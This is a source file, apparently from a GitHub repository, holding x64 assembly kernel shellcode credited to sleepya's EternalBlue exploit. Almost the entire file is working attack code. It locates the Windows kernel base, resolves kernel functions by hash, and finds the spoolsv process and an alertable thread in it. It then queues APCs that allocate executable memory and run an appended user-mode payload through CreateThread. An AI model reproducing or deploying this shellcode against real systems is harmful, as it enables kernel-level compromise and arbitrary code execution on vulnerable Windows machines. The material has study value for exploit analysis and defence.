-
Notifications
You must be signed in to change notification settings - Fork 348
/
kernel_shellcode.asm
373 lines (317 loc) · 8.03 KB
/
kernel_shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
;kernel_shellcode.asm
; function and offset resolution shellcode by sleepya EternalBlue exploit
; shellcode data section offsets
OFFSET_NTBASE EQU 0x0
OFFSET_PEB_ADDR EQU 0x8
OFFSET_KAPC EQU 0x10
OFFSET_KAPC2 EQU 0x68
OFFSET_SC_BASE_ADDR EQU 0xD0
OFFSET_HALPINTERRCONT EQU 0xD8
OFFSET_PHALPAPICREQ EQU 0xE0
OFFSET_USERPAYLOAD EQU 0xE8
; some hardcoded EPROCESS and ETHREAD field offsets. I think they're consistent on Win10?
OFFSET_EPROCTHREADLIST EQU 0x30
OFFSET_ETHREADTHREADLIST EQU 0x2F8
OFFSET_ETHREADMISCFLAGS EQU 0x74
OFFSET_MISCFLALTERTABLE EQU 0x4
; peb offsets
OFFSET_PEB_LDR EQU 0x18
OFFSET_PEB_INMEMORDER EQU 0x20
; hashes to resolve function pointers
HASH_PSGETCURRPROC EQU 0xDBF47C78
HASH_PSGETPROCIMAGENAME EQU 0x77645F3F
HASH_PSGETPROCID EQU 0x170114E1
HASH_PSGETPROCPEB EQU 0xB818B848
HASH_KEINITIALIZEAPC EQU 0x6D195CC4
HASH_KEINSERTQUEUEAPC EQU 0xAFCC4634
HASH_ZWALLOCVIRTMEM EQU 0x576E99EA
HASH_CREATETHREAD EQU 0x835E515E
HASH_SPOOLSV EQU 0x3EE083D8
; size of usermode APC shellcode
USER_SHELLCODE_SIZE EQU _data_addr - _user_shellcode
[SECTION .text]
global _start
_main:
_prologue:
push r8
push r9
push r13
push r15
push r14
push rcx
push rdx
push rbx
push rsi
push rdi
lea r14, [rel _data_addr]
_patch_back_hal_table:
mov qword rax, [r14 + OFFSET_HALPINTERRCONT]
mov qword rbx, [r14 + OFFSET_PHALPAPICREQ]
mov [rax], qword rbx
sti
xor rcx, rcx
mov cr8, rcx
mov ecx, 0xc0000082
rdmsr
and eax, 0xFFFFF000
shl rdx, 0x20
add rax, rdx
_find_nt_base:
sub rax, 0x1000
cmp word [rax], 0x5a4d
jne _find_nt_base
mov r15, rax
mov [r14 + OFFSET_NTBASE], r15
_get_current_eprocess:
mov edi, HASH_PSGETCURRPROC
call _call_nt_func
mov r13, rax
_get_image_name_eprocess:
mov edi, HASH_PSGETPROCIMAGENAME
call _get_offset_from_function
mov rcx, rax
_get_proc_links_eprocess:
mov edi, HASH_PSGETPROCID
call _get_offset_from_function
mov rdx, rax
add rdx, 0x8
_find_target_process_loop:
lea rsi, [r13+rcx]
call calc_hash
cmp eax, HASH_SPOOLSV
je _found_target_process
mov r13, [r13+rdx]
sub r13, rdx
jmp _find_target_process_loop
_found_target_process:
mov edi, HASH_PSGETPROCPEB
mov rcx, r13
call _call_nt_func
mov [r14 + OFFSET_PEB_ADDR], rax
mov r8, [r13 + OFFSET_EPROCTHREADLIST]
mov r9, [r13 + OFFSET_EPROCTHREADLIST + 0x8]
sub r8, OFFSET_ETHREADTHREADLIST
xor rsi, rsi
_find_good_thread:
sub r9, OFFSET_ETHREADTHREADLIST
mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS]
bt edi, OFFSET_MISCFLALTERTABLE
jnc _find_good_thread_loop
mov rsi, r9
jmp _init_apc
_find_good_thread_loop:
cmp r8, r9
mov r9, [r9 + OFFSET_ETHREADTHREADLIST + 8]
jne _find_good_thread
_init_apc:
test rsi, rsi
jz _restore_regs_and_jmp_back
lea rcx, [r14 + OFFSET_KAPC]
mov rdx, rsi
xor r8, r8
lea r9, [rel _kernel_apc_routine]
push rdx
push r8
push r8
push r8
mov edi, HASH_KEINITIALIZEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x40
_insert_apc:
lea rcx, [r14 + OFFSET_KAPC]
mov edi, HASH_KEINSERTQUEUEAPC
sub rsp, 0x20
mov rax, 0x5
mov cr8, rax
call _call_nt_func
add rsp, 0x20
_restore_regs_and_jmp_back:
cli
mov rax, rbx
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop r14
pop r15
pop r13
pop r9
pop r8
jmp rax
_call_nt_func:
call _get_proc_addr
jmp rax
_get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
add rax, r15
mov eax, dword [rax+136] ; Get export tables RVA
add rax, r15
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
_get_offset_from_function:
call _get_proc_addr
cmp byte [rax+2], 0x80
ja _get_offset_dword
movzx eax, byte [rax+3]
ret
_get_offset_dword:
mov eax, dword [rax+3]
ret
_kernel_apc_routine:
push r15
push r14
push rdi
push rsi
_find_createthread_addr:
mov rax, [rel _data_addr + OFFSET_PEB_ADDR]
mov rcx, [rax + OFFSET_PEB_LDR]
mov rcx, [rcx + OFFSET_PEB_INMEMORDER]
_find_kernel32_dll_loop:
mov rcx, [rcx]
cmp word [rcx+0x48], 0x18
jne _find_kernel32_dll_loop
mov rax, [rcx+0x50]
cmp dword [rax+0xc], 0x00320033
jnz _find_kernel32_dll_loop
mov r15, [rcx + 0x20]
mov edi, HASH_CREATETHREAD
call _get_proc_addr
mov r14, rax
_alloc_mem:
mov r15, [rel _data_addr + OFFSET_NTBASE]
xor eax, eax
lea rdx, [rel _data_addr + OFFSET_SC_BASE_ADDR]
mov ecx, eax
not rcx
mov r8, rax
mov al, 0x40
push rax
shl eax, 6
push rax
mov [r9], rax
sub rsp, 0x20
mov edi, HASH_ZWALLOCVIRTMEM
call _call_nt_func
add rsp, 0x30
_copy_user_shellcode:
mov rdi, [rel _data_addr + OFFSET_SC_BASE_ADDR]
lea rsi, [rel _user_shellcode]
mov ecx, USER_SHELLCODE_SIZE
rep movsb
_copy_user_payload:
lea rsi, [rel _data_addr + OFFSET_USERPAYLOAD]
mov ecx, 0x258
rep movsb
_init_and_insert_apc:
lea rcx, [rel _data_addr + OFFSET_KAPC2]
mov rdx, qword [gs:0x188]
xor r8, r8
lea r9, [rel _kernel_apc_routine2]
push r8
push 0x1
mov rax, [rel _data_addr + OFFSET_SC_BASE_ADDR]
push rax
push r8
sub rsp, 0x20
mov edi, HASH_KEINITIALIZEAPC
call _call_nt_func
add rsp, 0x40
lea rcx, [rel _data_addr + OFFSET_KAPC2]
mov rdx, r14
xor r9, r9
mov edi, HASH_KEINSERTQUEUEAPC
sub rsp, 0x20
call _call_nt_func
add rsp, 0x20
_kernel_apc_done:
pop rsi
pop rdi
pop r14
pop r15
ret
_kernel_apc_routine2:
nop
ret
_user_shellcode:
xchg rdx, rax
xor ecx, ecx
push rcx
push rcx
mov r9, rcx
lea r8, [rel _data_addr] ; user payload has been appended to bottom of this shellcode
mov edx, ecx
sub rsp, 0x20
call rax
add rsp, 0x30
ret
_data_addr:
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
db 'XXXXXXXX'
dq 0